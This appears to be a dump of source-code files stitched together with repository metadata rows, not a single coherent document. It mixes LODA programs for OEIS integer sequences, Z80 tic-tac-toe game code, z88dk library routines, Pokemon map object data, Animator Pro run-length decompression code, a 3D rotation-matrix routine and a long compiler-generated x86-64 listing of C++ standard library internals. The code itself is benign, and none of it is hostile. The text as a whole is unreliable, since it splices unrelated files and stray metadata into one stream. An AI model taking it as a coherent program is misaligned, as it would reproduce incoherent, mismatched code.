; A030432: Primes of form 10n+7. ; Submitted by Jamie Morken(s4) ; 7,17,37,47,67,97,107,127,137,157,167,197,227,257,277,307,317,337,347,367,397,457,467,487,547,557,577,587,607,617,647,677,727,757,787,797,827,857,877,887,907,937,947,967,977,997,1087,1097,1117,1187,1217,1237,1277,1297,1307,1327,1367,1427,1447,1487,1567,1597,1607,1627,1637,1657,1667,1697,1747,1777,1787,1847,1867,1877,1907,1987,1997,2017,2027,2087,2137,2207,2237,2267,2287,2297,2347,2357,2377,2417,2437,2447,2467,2477,2557,2617,2647,2657,2677,2687 mov $1,6 mov $2,$0 pow $2,2 lpb $2 mov $3,$1 seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0. sub $0,$3 add $1,10 mov $4,$0 max $4,0 cmp $4,$0 mul $2,$4 sub $2,1 lpe mov $0,$1 add $0,1
35.428571
448
0.701613
3553a9932575b6a9b2a234b2ab01a39223ff576e
2,367
asm
Assembly
z80/game.asm
qccoders/TicTacToe
954c2678cd1a5ab92948eccd7888c5450f1b16e7
[ "MIT" ]
4
2019-02-12T01:08:12.000Z
2020-09-27T13:31:49.000Z
z80/game.asm
qccoders/TicTacToe
954c2678cd1a5ab92948eccd7888c5450f1b16e7
[ "MIT" ]
1
2020-05-07T19:04:52.000Z
2020-05-07T19:04:52.000Z
z80/game.asm
qccoders/TicTacToe
954c2678cd1a5ab92948eccd7888c5450f1b16e7
[ "MIT" ]
4
2018-12-26T18:21:03.000Z
2020-05-07T18:30:43.000Z
NewGame: ld a,0 call FillBoard ld ix,GameState ld (ix+0),0 ld (ix+1),0 ld (ix+2),0 call PlayGame ld hl,PlayAgain call Println ld hl,Choice call Readln ld ix,NoString call StringEqual cp 1 ret z jr NewGame ;in: hl, the address of userput ;out: a = 0,1,2 for the first row or column found, 9 if there's a problem NextInNum: ld a,(hl) cp 0 jr z,endofstring sub 30h jp m,outofbounds ld a,(hl) sub 33h jp p,outofbounds ld a,(hl) inc hl sub 30h ret outofbounds: inc hl jr NextInNum endofstring: ld a,9 ret GetAssertion: ld hl,UserInput call NextInNum cp 9 jr z,gotanine ld b,a ld c,3 call multiply ld ix,GameState ld (ix+2),a ld a,(hl) call NextInNum cp 9 jr z,gotanine add a,(ix+2) ld (ix+2),a ret gotanine: ld a,9 ld (ix+2),a ret ;out : a, a random cell PickAnyCell: push de call random ld d,a ld e,9 call div_d_e pop de ret C_omputerTurn: push bc push hl compmove: ld hl,Board call PickAnyCell ld b,a compnextcell: inc hl djnz compnextcell dec hl compcellfound ld a,(hl) cp 0 jr nz,compmove ld (hl),2 pop hl pop bc ret ;out a, 1 for success, 0 for fail HumanTurn: push bc push ix ld ix,GameState call GetAssertion ld a,(ix+2) cp 9 jr z,bad ld b,a ld hl,Board movetocell: ld a,b cp 0 jr z,foundcell inc hl dec b jr movetocell foundcell: ld a,(hl) cp 0 jr nz,alreadytaken ld (hl),1 ld (ix+2),0 jr turnover alreadytaken: ld (ix+2),1 jp turnover bad: ld (ix+2),2 turnover: ld a,(ix+2) pop ix pop bc ret PlayGame: call PrintBoard ld ix,GameState ld (ix+0),0 ld (ix+1),1 ld (ix+2),0 ld hl,UserInput call Readln ld ix,QuitString call StringEqual cp 1 jr z,Quit call HumanTurn cp 0 jr z,keepgoing jr PlayGame keepgoing: call FindWinner cp 0 jr nz,Quit ld ix,GameState ld (ix+1),2 call C_omputerTurn call FindWinner cp 0 jr nz,Quit jr PlayGame Quit: ld ix,GameState ld (ix+0),1 call PrintBoard ret ;GameState[0] - game over? ;GameState[1] - whose turn it is (or winner, if game over) ;GameState[2] - attempted move GameState: defs 3 UserInput: defs 32 YourTurn: defm 'Enter your choice in the format ' defb 27H defm 'x,y' defb 27H defm ' (zero based, left to right, top to bottom):' Choice: defb 0 PlayAgain: defm 'Do you want to play again (y/n)?' defb 0 QuitString: defm 'q' defb 0 NoString: defm 'n' defb 0
12.076531
73
0.678918
0c7fd2ec588374636002d1bf19590039979cece7
354
asm
Assembly
libsrc/_DEVELOPMENT/stdio/c/sdcc_ix/vprintf_unlocked_callee.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/stdio/c/sdcc_ix/vprintf_unlocked_callee.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/stdio/c/sdcc_ix/vprintf_unlocked_callee.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
; int vprintf_unlocked_callee(const char *format, void *arg) SECTION code_clib SECTION code_stdio PUBLIC _vprintf_unlocked_callee, l0_vprintf_unlocked_callee EXTERN asm_vprintf_unlocked _vprintf_unlocked_callee: pop af pop de pop bc push af l0_vprintf_unlocked_callee: push ix call asm_vprintf_unlocked pop ix ret
13.615385
60
0.768362
2fdf5d988147955cf34e51c17a7b25aa5ae8e1f9
2,108
asm
Assembly
programs/oeis/238/A238340.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/238/A238340.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/238/A238340.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A238340: Number of partitions of 4n into 4 parts. ; 1,5,15,34,64,108,169,249,351,478,632,816,1033,1285,1575,1906,2280,2700,3169,3689,4263,4894,5584,6336,7153,8037,8991,10018,11120,12300,13561,14905,16335,17854,19464,21168,22969,24869,26871,28978,31192,33516,35953,38505,41175,43966,46880,49920,53089,56389,59823,63394,67104,70956,74953,79097,83391,87838,92440,97200,102121,107205,112455,117874,123464,129228,135169,141289,147591,154078,160752,167616,174673,181925,189375,197026,204880,212940,221209,229689,238383,247294,256424,265776,275353,285157,295191,305458,315960,326700,337681,348905,360375,372094,384064,396288,408769,421509,434511,447778,461312,475116,489193,503545,518175,533086,548280,563760,579529,595589,611943,628594,645544,662796,680353,698217,716391,734878,753680,772800,792241,812005,832095,852514,873264,894348,915769,937529,959631,982078,1004872,1028016,1051513,1075365,1099575,1124146,1149080,1174380,1200049,1226089,1252503,1279294,1306464,1334016,1361953,1390277,1418991,1448098,1477600,1507500,1537801,1568505,1599615,1631134,1663064,1695408,1728169,1761349,1794951,1828978,1863432,1898316,1933633,1969385,2005575,2042206,2079280,2116800,2154769,2193189,2232063,2271394,2311184,2351436,2392153,2433337,2474991,2517118,2559720,2602800,2646361,2690405,2734935,2779954,2825464,2871468,2917969,2964969,3012471,3060478,3108992,3158016,3207553,3257605,3308175,3359266,3410880,3463020,3515689,3568889,3622623,3676894,3731704,3787056,3842953,3899397,3956391,4013938,4072040,4130700,4189921,4249705,4310055,4370974,4432464,4494528,4557169,4620389,4684191,4748578,4813552,4879116,4945273,5012025,5079375,5147326,5215880,5285040,5354809,5425189,5496183,5567794,5640024,5712876,5786353,5860457,5935191,6010558,6086560,6163200,6240481,6318405,6396975,6476194,6556064,6636588,6717769,6799609,6882111,6965278 mov $14,$0 mov $16,$0 add $16,1 lpb $16,1 clr $0,14 mov $0,$14 sub $16,1 sub $0,$16 mov $11,$0 mov $13,$0 add $13,1 lpb $13,1 mov $0,$11 sub $13,1 sub $0,$13 mov $6,$0 mul $6,8 add $6,3 div $6,3 add $12,$6 lpe add $15,$12 lpe mov $1,$15
75.285714
1,765
0.800759
186d1581e3d2dfc0e30e636c053feae14e67093d
613
asm
Assembly
data/maps/objects/SilphCo2F.asm
opiter09/ASM-Machina
75d8e457b3e82cc7a99b8e70ada643ab02863ada
[ "CC0-1.0" ]
1
2022-02-15T00:19:44.000Z
2022-02-15T00:19:44.000Z
data/maps/objects/SilphCo2F.asm
opiter09/ASM-Machina
75d8e457b3e82cc7a99b8e70ada643ab02863ada
[ "CC0-1.0" ]
null
null
null
data/maps/objects/SilphCo2F.asm
opiter09/ASM-Machina
75d8e457b3e82cc7a99b8e70ada643ab02863ada
[ "CC0-1.0" ]
null
null
null
SilphCo2F_Object: db $2e ; border block def_warps warp 24, 0, 2, SILPH_CO_1F warp 26, 0, 0, SILPH_CO_3F warp 20, 0, 0, SILPH_CO_ELEVATOR warp 3, 3, 6, SILPH_CO_3F warp 13, 3, 4, SILPH_CO_8F warp 27, 15, 5, SILPH_CO_8F warp 9, 15, 4, SILPH_CO_6F def_signs def_objects object SPRITE_ERIKA, 10, 1, STAY, UP, 1 ; person object SPRITE_SCIENTIST, 5, 12, STAY, DOWN, 2, OPP_SCIENTIST, 2 object SPRITE_SCIENTIST, 24, 13, STAY, LEFT, 3, OPP_SCIENTIST, 3 object SPRITE_ROCKET, 16, 11, STAY, UP, 4, OPP_ROCKET, 23 object SPRITE_ROCKET, 24, 7, STAY, UP, 5, OPP_ROCKET, 24 def_warps_to SILPH_CO_2F
26.652174
65
0.711256
9a1e20af12d2be0f608457cbe81744f06d5f5b49
2,085
asm
Assembly
src/PJ/rastlib/byulccmp.asm
AnimatorPro/Animator-Pro
6d0b68cd94bb5cfde2cdd05e9a7c8ee1e1cb3cbb
[ "BSD-3-Clause" ]
119
2015-01-10T15:13:50.000Z
2022-01-24T04:54:34.000Z
src/PJ/rastlib/byulccmp.asm
AnimatorPro/Animator-Pro
6d0b68cd94bb5cfde2cdd05e9a7c8ee1e1cb3cbb
[ "BSD-3-Clause" ]
6
2015-10-22T20:14:59.000Z
2021-07-10T03:25:21.000Z
src/PJ/rastlib/byulccmp.asm
AnimatorPro/Animator-Pro
6d0b68cd94bb5cfde2cdd05e9a7c8ee1e1cb3cbb
[ "BSD-3-Clause" ]
27
2015-04-24T22:55:30.000Z
2022-01-21T13:54:00.000Z
CGROUP group code code segment dword 'CODE' assume cs:CGROUP,ds:CGROUP ;pj_unlccomp decodes a FLI_LC chunk of a flic frame. This is the main ;'delta' type chunk. It contains information to transform one frame ;into the next frame where hopefully the next frame is mostly the same ;as the one frame. This uses a combination of 'skip' compression and ;run length compression. Each packet of this chunk public pj_unlccomp ; pj_unlccomp(cbuf, screen, bpr, screen_seg) ; UBYTE *cbuf; /* points to a FLI_LC chunk after chunk header. */ ; UBYTE *screen; /* 64000 byte screen */ ; int screen_seg pj_unlccomp proc near pubr struc pulc_savebp dd ? pulc_ret dd ? pulc_cbuf dd ? pulc_screen dd ? pulc_bpr dd ? pulc_seg dd ? pubr ends linect equ dword ptr[ebp-4] ;save the world and set the basepage push ebp mov ebp,esp sub esp,4 push es push esi push edi push ebx push ecx push edx cld ;clear direction flag in case Aztec or someone mucks with it. xor eax,eax ;clear hi bits of accumulator mov eax,[ebp].pulc_seg mov es,ax ;set destination segment mov esi,[ebp].pulc_cbuf mov edi,[ebp].pulc_screen lodsw ;get the count of # of lines to skip mul [ebp].pulc_bpr add edi,eax lodsw ;get line count mov linect,eax ;save it on stack mov edx,edi ;keep pointer to start of line in dx xor ah,ah ;clear hi bit of ah cause lots of unsigned uses to follow linelp: mov edi,edx lodsb ;get op count for this line mov bl,al test bl,bl jmp endulcloop ulcloop: lodsb ;load in the byte skip add edi,eax lodsb ; load op/count test al,al js ulcrun mov ecx,eax rep movsb dec bl jnz ulcloop jmp ulcout ulcrun: neg al mov ecx,eax ;get signed count lodsb ;value to repeat in al rep stosb dec bl endulcloop: jnz ulcloop ulcout: add edx,[ebp].pulc_bpr dec linect jnz linelp mov eax,esi ;return position in compression stream pop edx pop ecx pop ebx pop edi pop esi pop es mov esp,ebp pop ebp ret pj_unlccomp endp code ends end
20.643564
71
0.696882
1dfe58717aa0b1abd3e7356069076d4491b4d51d
4,744
asm
Assembly
src/ramcode/transform.asm
BlockoS/up-news
0f67eac47d36e5e71e403b22fb009633eec6d560
[ "BSD-3-Clause" ]
2
2017-03-18T21:38:08.000Z
2017-03-20T18:48:56.000Z
src/ramcode/transform.asm
BlockoS/up-news
0f67eac47d36e5e71e403b22fb009633eec6d560
[ "BSD-3-Clause" ]
null
null
null
src/ramcode/transform.asm
BlockoS/up-news
0f67eac47d36e5e71e403b22fb009633eec6d560
[ "BSD-3-Clause" ]
null
null
null
.include "vdc.inc" .macro matrix_store sta \1_0 eor #$ff inc A sta \1_1 .endmacro .code transform: ; compute_rotation_matrix: ; t0 = ry - rz ry = * + 1 lda #$00 tax sec rz = * + 1 sbc #$00 sta @t0 ; t1 = ry + rz txa clc adc rz sta @t1 ; t8 = ry - rx txa sec rx = * + 1 sbc #$00 sta @t8 ; m02 = sin(ry) lda sin_tbl, X clc adc sin_tbl, X matrix_store m02 ; t9 = ry + rx txa clc adc rx sta @t9 ; t2 = rx + rz lda rx tax clc adc rz sta @t2 ; t3 = rx - rz txa sec sbc rz sta @t3 ; t4 = rx - ry - rz = rx - t1 txa sec sbc @t1 sta @t4 ; t5 = rx + ry - rz = rx + t0 txa clc adc @t0 sta @t5 ; t6 = rx - ry + rz = rx - t0 txa sec sbc @t0 sta @t6 ; t7 = rx + ry + rz = rx + t1 txa clc adc @t1 sta @t7 @t0 = * + 1 ldx #$00 @t1 = * + 1 ldy #$00 ; A = (cos(t0) + cos(t1)) / 2 lda cos_tbl, X clc adc cos_tbl, Y matrix_store m00 ; B = (sin(t0) - sin(t1)) / 2 lda sin_tbl, X sec sbc sin_tbl, Y matrix_store m01 @t8 = * + 1 ldx #$00 @t9 = * + 1 ldy #$00 ; F = (sin(t8) - sin(t9)) / 2 lda sin_tbl, X sec sbc sin_tbl, Y matrix_store m12 ; I = (cos(t8) + cos(t9)) / 2 lda cos_tbl, X clc adc cos_tbl, Y matrix_store m22 @t2 = * + 1 ldx #$00 @t3 = * + 1 ldy #$00 ; D'= ( sin(t2) - sin(t3)) / 2 lda sin_tbl, X sec sbc sin_tbl, Y sta @m10_ ; H'= ( sin(t2) + sin(t3)) / 2 lda sin_tbl, X clc adc sin_tbl, Y sta @m21_ ; E'= ( cos(t2) + cos(t3)) / 2 lda cos_tbl, X clc adc cos_tbl, Y sta @m11_ ; G'= (-cos(t2) + cos(t3)) / 2 lda cos_tbl, Y sec sbc cos_tbl, X sta @m20_ @t4 = * + 1 ldx #$00 @t5 = * + 1 ldy #$00 ; tmp0 = (cos(t4) - cos(t5)) / 2 lda cos_tbl, X sec sbc cos_tbl, Y sta @tmp0 ; tmp2 = (sin(t4) - sin(t5)) / 2 lda sin_tbl, X sec sbc sin_tbl, Y sta @tmp2 @t6 = * + 1 ldx #$00 @t7 = * + 1 ldy #$00 ; tmp1 = (cos(t6) - cos(t7)) / 2 lda cos_tbl, X sec sbc cos_tbl, Y sta @tmp1 ; tmp3 = (sin(t6) - sin(t7)) / 2 lda sin_tbl, X sec sbc sin_tbl, Y sta @tmp3 ; m10 = @m10_ + ( tmp0 + tmp1) / 2 @tmp0 = * + 1 lda #$00 clc @tmp1 = * + 1 adc #$00 cmp #$80 ror A clc @m10_ = * + 1 adc #$00 matrix_store m10 ; m21 = @m21 + (-tmp0 + tmp1) / 2 lda @tmp1 sec sbc @tmp0 cmp #$80 ror A clc @m21_ = * + 1 adc #$00 matrix_store m21 ; E = E' + ( tmp2 - tmp3) / 2 @tmp2 = * + 1 lda #$00 sec @tmp3 = * + 1 sbc #$00 cmp #$80 ror A clc @m11_ = * + 1 adc #$00 matrix_store m11 ; G = G' + ( tmp2 + tmp3) / 2 lda @tmp2 clc adc @tmp3 cmp #$80 ror A clc @m20_ = * + 1 adc #$00 matrix_store m20 vertice_count = * + 1 ldx #0 @l0: phx vertex_z = * + 1 ldy vertex_z, X ; m02 * z m02_0 = * + 1 lda mul_tbl, Y sec m02_1 = * + 1 sbc mul_tbl, Y sta @z0 ; m12 * z m12_0 = * + 1 lda mul_tbl, Y sec m12_1 = * + 1 sbc mul_tbl, Y sta @z1 ; m22 * z m22_0 = * + 1 lda mul_tbl, Y sec m22_1 = * + 1 sbc mul_tbl, Y sta @z2 vertex_y = * + 1 ldy vertex_y, X vertex_x = * + 1 lda vertex_x, X tax @z2 = * + 1 lda #$00 ; m20 * x m20_0 = * + 1 adc mul_tbl, X m20_1 = * + 1 sbc mul_tbl, X ; m21 * z m21_0 = * + 1 adc mul_tbl, Y m21_1 = * + 1 sbc mul_tbl, Y sta @_z @z0 = * + 1 lda #$00 ; m00 * x m00_0 = * + 1 adc mul_tbl, X m00_1 = * + 1 sbc mul_tbl, X ; m01 * y m01_0 = * + 1 adc mul_tbl, Y m01_1 = * + 1 sbc mul_tbl, Y sta @_x @z1 = * + 1 lda #$00 ; m10 * x m10_0 = * + 1 adc mul_tbl, X m10_1 = * + 1 sbc mul_tbl, X ; m11 * y m11_0 = * + 1 adc mul_tbl, Y m11_1 = * + 1 sbc mul_tbl, Y plx sta out_y, X @_x = * + 1 lda #$00 sta out_x, X @_z = * + 1 lda #$00 sta out_z, X dex bmi @l1 jmp @l0 @l1 rts out_x = * out_y = out_x + MAX_POINT_COUNT out_z = out_y + MAX_POINT_COUNT
15.503268
38
0.410413
561819f622352519b265574197e0af39c722f283
375
asm
Assembly
libsrc/_DEVELOPMENT/target/rc2014/driver/ide/__ide_data.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/target/rc2014/driver/ide/__ide_data.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/target/rc2014/driver/ide/__ide_data.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
SECTION data_driver PUBLIC ideBuffer, ideStatus ; Space for the IDE Buffer ; used to respond to Drive ID requests, as sufficient buffer is not provided. ideBuffer: defs 512 ; IDE Status byte ; set bit 0 : User selects master (0) or slave (1) drive ; bit 1 : Flag 0 = master not previously accessed ; bit 2 : Flag 0 = slave not previously accessed ideStatus: defb 0
20.833333
77
0.733333
b29aebede6c9c9807241ead06e57272c8a02550b
533,115
asm
Assembly
test/demangle-cases/bug-1336-first-20000-lines.asm
oyejorge/compiler-explorer
e5e49361ed5bb80a0825950cbe1c7b8b7632f71b
[ "BSD-2-Clause" ]
1
2021-01-27T10:36:58.000Z
2021-01-27T10:36:58.000Z
test/demangle-cases/bug-1336-first-20000-lines.asm
oyejorge/compiler-explorer
e5e49361ed5bb80a0825950cbe1c7b8b7632f71b
[ "BSD-2-Clause" ]
1
2021-03-05T19:06:18.000Z
2021-03-05T19:06:18.000Z
test/demangle-cases/bug-1336-first-20000-lines.asm
oyejorge/compiler-explorer
e5e49361ed5bb80a0825950cbe1c7b8b7632f71b
[ "BSD-2-Clause" ]
1
2021-03-04T23:56:54.000Z
2021-03-04T23:56:54.000Z
_ZSt19piecewise_construct: .zero 1 _ZN9__gnu_cxx5__ops16__iter_less_iterEv: push rbp mov rbp, rsp pop rbp ret _ZN9__gnu_cxx5__ops14_Iter_less_valC2ENS0_15_Iter_less_iterE: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi nop pop rbp ret _ZN9__gnu_cxx5__ops15__iter_less_valEv: push rbp mov rbp, rsp pop rbp ret _ZN9__gnu_cxx5__ops15__val_comp_iterENS0_15_Iter_less_iterE: push rbp mov rbp, rsp pop rbp ret _ZN9__gnu_cxx5__ops20__iter_equal_to_iterEv: push rbp mov rbp, rsp pop rbp ret _ZSt4__lgl: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] bsr rax, rax xor rax, 63 cdqe mov edx, 63 sub rdx, rax mov rax, rdx pop rbp ret _ZNKSt9type_infoeqERKS_: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rax+8] mov rax, QWORD PTR [rbp-16] mov rax, QWORD PTR [rax+8] cmp rdx, rax je .L13 mov rax, QWORD PTR [rbp-8] mov rax, QWORD PTR [rax+8] movzx eax, BYTE PTR [rax] cmp al, 42 je .L14 mov rax, QWORD PTR [rbp-16] mov rdx, QWORD PTR [rax+8] mov rax, QWORD PTR [rbp-8] mov rax, QWORD PTR [rax+8] mov rsi, rdx mov rdi, rax call strcmp test eax, eax jne .L14 .L13: mov eax, 1 jmp .L15 .L14: mov eax, 0 .L15: leave ret _ZnwmPv: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov rax, QWORD PTR [rbp-16] pop rbp ret _ZdlPvS_: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi nop pop rbp ret _ZNSt11char_traitsIcE6assignERcRKc: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov rax, QWORD PTR [rbp-16] movzx edx, BYTE PTR [rax] mov rax, QWORD PTR [rbp-8] mov BYTE PTR [rax], dl nop pop rbp ret _ZNSt11char_traitsIcE7compareEPKcS2_m: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov QWORD PTR [rbp-24], rdx mov eax, 0 test al, al je .L22 mov rdx, QWORD PTR [rbp-24] mov rcx, QWORD PTR [rbp-16] mov rax, QWORD PTR [rbp-8] mov rsi, rcx mov rdi, rax call _ZN9__gnu_cxx11char_traitsIcE7compareEPKcS3_m jmp .L23 .L22: cmp QWORD PTR [rbp-24], 0 jne .L24 mov eax, 0 jmp .L23 .L24: mov rdx, QWORD PTR [rbp-24] mov rcx, QWORD PTR [rbp-16] mov rax, QWORD PTR [rbp-8] mov rsi, rcx mov rdi, rax call memcmp nop .L23: leave ret _ZNSt11char_traitsIcE6lengthEPKc: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-24], rdi mov rax, QWORD PTR [rbp-24] mov QWORD PTR [rbp-8], rax mov eax, 0 test al, al je .L27 mov rax, QWORD PTR [rbp-24] mov rdi, rax call _ZN9__gnu_cxx11char_traitsIcE6lengthEPKc jmp .L28 .L27: mov rax, QWORD PTR [rbp-24] mov rcx, -1 mov rdx, rax mov eax, 0 mov rdi, rdx repnz scasb mov rax, rcx not rax sub rax, 1 nop .L28: leave ret _ZNSt11char_traitsIcE4moveEPcPKcm: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov QWORD PTR [rbp-24], rdx cmp QWORD PTR [rbp-24], 0 jne .L30 mov rax, QWORD PTR [rbp-8] jmp .L31 .L30: mov rdx, QWORD PTR [rbp-24] mov rcx, QWORD PTR [rbp-16] mov rax, QWORD PTR [rbp-8] mov rsi, rcx mov rdi, rax call memmove nop .L31: leave ret _ZNSt11char_traitsIcE4copyEPcPKcm: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov QWORD PTR [rbp-24], rdx cmp QWORD PTR [rbp-24], 0 jne .L33 mov rax, QWORD PTR [rbp-8] jmp .L34 .L33: mov rdx, QWORD PTR [rbp-8] mov rax, QWORD PTR [rbp-16] mov rcx, rdx mov rsi, rax mov rax, QWORD PTR [rbp-24] mov rdx, rax mov rdi, rcx call memcpy nop .L34: leave ret _ZNSt11char_traitsIcE6assignEPcmc: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov eax, edx mov BYTE PTR [rbp-20], al cmp QWORD PTR [rbp-16], 0 jne .L36 mov rax, QWORD PTR [rbp-8] jmp .L37 .L36: movsx ecx, BYTE PTR [rbp-20] mov rdx, QWORD PTR [rbp-16] mov rax, QWORD PTR [rbp-8] mov esi, ecx mov rdi, rax call memset nop .L37: leave ret _ZZL18__gthread_active_pvE20__gthread_active_ptr: .quad _ZL28__gthrw___pthread_key_createPjPFvPvE _ZL18__gthread_active_pv: push rbp mov rbp, rsp mov rax, QWORD PTR _ZZL18__gthread_active_pvE20__gthread_active_ptr[rip] test rax, rax setne al movzx eax, al pop rbp ret _ZN9__gnu_cxxL18__exchange_and_addEPVii: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov DWORD PTR [rbp-12], esi mov edx, DWORD PTR [rbp-12] mov rax, QWORD PTR [rbp-8] lock xadd DWORD PTR [rax], edx mov eax, edx pop rbp ret _ZN9__gnu_cxxL25__exchange_and_add_singleEPii: push rbp mov rbp, rsp mov QWORD PTR [rbp-24], rdi mov DWORD PTR [rbp-28], esi mov rax, QWORD PTR [rbp-24] mov eax, DWORD PTR [rax] mov DWORD PTR [rbp-4], eax mov rax, QWORD PTR [rbp-24] mov edx, DWORD PTR [rax] mov eax, DWORD PTR [rbp-28] add edx, eax mov rax, QWORD PTR [rbp-24] mov DWORD PTR [rax], edx mov eax, DWORD PTR [rbp-4] pop rbp ret _ZN9__gnu_cxxL27__exchange_and_add_dispatchEPii: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov DWORD PTR [rbp-12], esi call _ZL18__gthread_active_pv test eax, eax setne al test al, al je .L45 mov edx, DWORD PTR [rbp-12] mov rax, QWORD PTR [rbp-8] mov esi, edx mov rdi, rax call _ZN9__gnu_cxxL18__exchange_and_addEPVii jmp .L46 .L45: mov edx, DWORD PTR [rbp-12] mov rax, QWORD PTR [rbp-8] mov esi, edx mov rdi, rax call _ZN9__gnu_cxxL25__exchange_and_add_singleEPii nop .L46: leave ret _ZStanSt13_Ios_FmtflagsS_: push rbp mov rbp, rsp mov DWORD PTR [rbp-4], edi mov DWORD PTR [rbp-8], esi mov eax, DWORD PTR [rbp-4] and eax, DWORD PTR [rbp-8] pop rbp ret _ZStorSt13_Ios_FmtflagsS_: push rbp mov rbp, rsp mov DWORD PTR [rbp-4], edi mov DWORD PTR [rbp-8], esi mov eax, DWORD PTR [rbp-4] or eax, DWORD PTR [rbp-8] pop rbp ret _ZStcoSt13_Ios_Fmtflags: push rbp mov rbp, rsp mov DWORD PTR [rbp-4], edi mov eax, DWORD PTR [rbp-4] not eax pop rbp ret _ZStoRRSt13_Ios_FmtflagsS_: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov DWORD PTR [rbp-12], esi mov rax, QWORD PTR [rbp-8] mov eax, DWORD PTR [rax] mov edx, DWORD PTR [rbp-12] mov esi, edx mov edi, eax call _ZStorSt13_Ios_FmtflagsS_ mov edx, eax mov rax, QWORD PTR [rbp-8] mov DWORD PTR [rax], edx mov rax, QWORD PTR [rbp-8] leave ret _ZStaNRSt13_Ios_FmtflagsS_: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov DWORD PTR [rbp-12], esi mov rax, QWORD PTR [rbp-8] mov eax, DWORD PTR [rax] mov edx, DWORD PTR [rbp-12] mov esi, edx mov edi, eax call _ZStanSt13_Ios_FmtflagsS_ mov edx, eax mov rax, QWORD PTR [rbp-8] mov DWORD PTR [rax], edx mov rax, QWORD PTR [rbp-8] leave ret _ZNSt8ios_base4setfESt13_Ios_FmtflagsS0_: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-24], rdi mov DWORD PTR [rbp-28], esi mov DWORD PTR [rbp-32], edx mov rax, QWORD PTR [rbp-24] mov eax, DWORD PTR [rax+24] mov DWORD PTR [rbp-4], eax mov eax, DWORD PTR [rbp-32] mov edi, eax call _ZStcoSt13_Ios_Fmtflags mov edx, eax mov rax, QWORD PTR [rbp-24] add rax, 24 mov esi, edx mov rdi, rax call _ZStaNRSt13_Ios_FmtflagsS_ mov edx, DWORD PTR [rbp-32] mov eax, DWORD PTR [rbp-28] mov esi, edx mov edi, eax call _ZStanSt13_Ios_FmtflagsS_ mov edx, eax mov rax, QWORD PTR [rbp-24] add rax, 24 mov esi, edx mov rdi, rax call _ZStoRRSt13_Ios_FmtflagsS_ mov eax, DWORD PTR [rbp-4] leave ret _ZSt3hexRSt8ios_base: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov edx, 74 mov esi, 8 mov rdi, rax call _ZNSt8ios_base4setfESt13_Ios_FmtflagsS0_ mov rax, QWORD PTR [rbp-8] leave ret _ZSt3octRSt8ios_base: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov edx, 74 mov esi, 64 mov rdi, rax call _ZNSt8ios_base4setfESt13_Ios_FmtflagsS0_ mov rax, QWORD PTR [rbp-8] leave ret _ZNKSt5ctypeIcE7toupperEc: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov eax, esi mov BYTE PTR [rbp-12], al mov rax, QWORD PTR [rbp-8] mov rax, QWORD PTR [rax] add rax, 16 mov rax, QWORD PTR [rax] movsx ecx, BYTE PTR [rbp-12] mov rdx, QWORD PTR [rbp-8] mov esi, ecx mov rdi, rdx call rax leave ret _ZNKSt5ctypeIcE7tolowerEc: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov eax, esi mov BYTE PTR [rbp-12], al mov rax, QWORD PTR [rbp-8] mov rax, QWORD PTR [rax] add rax, 32 mov rax, QWORD PTR [rax] 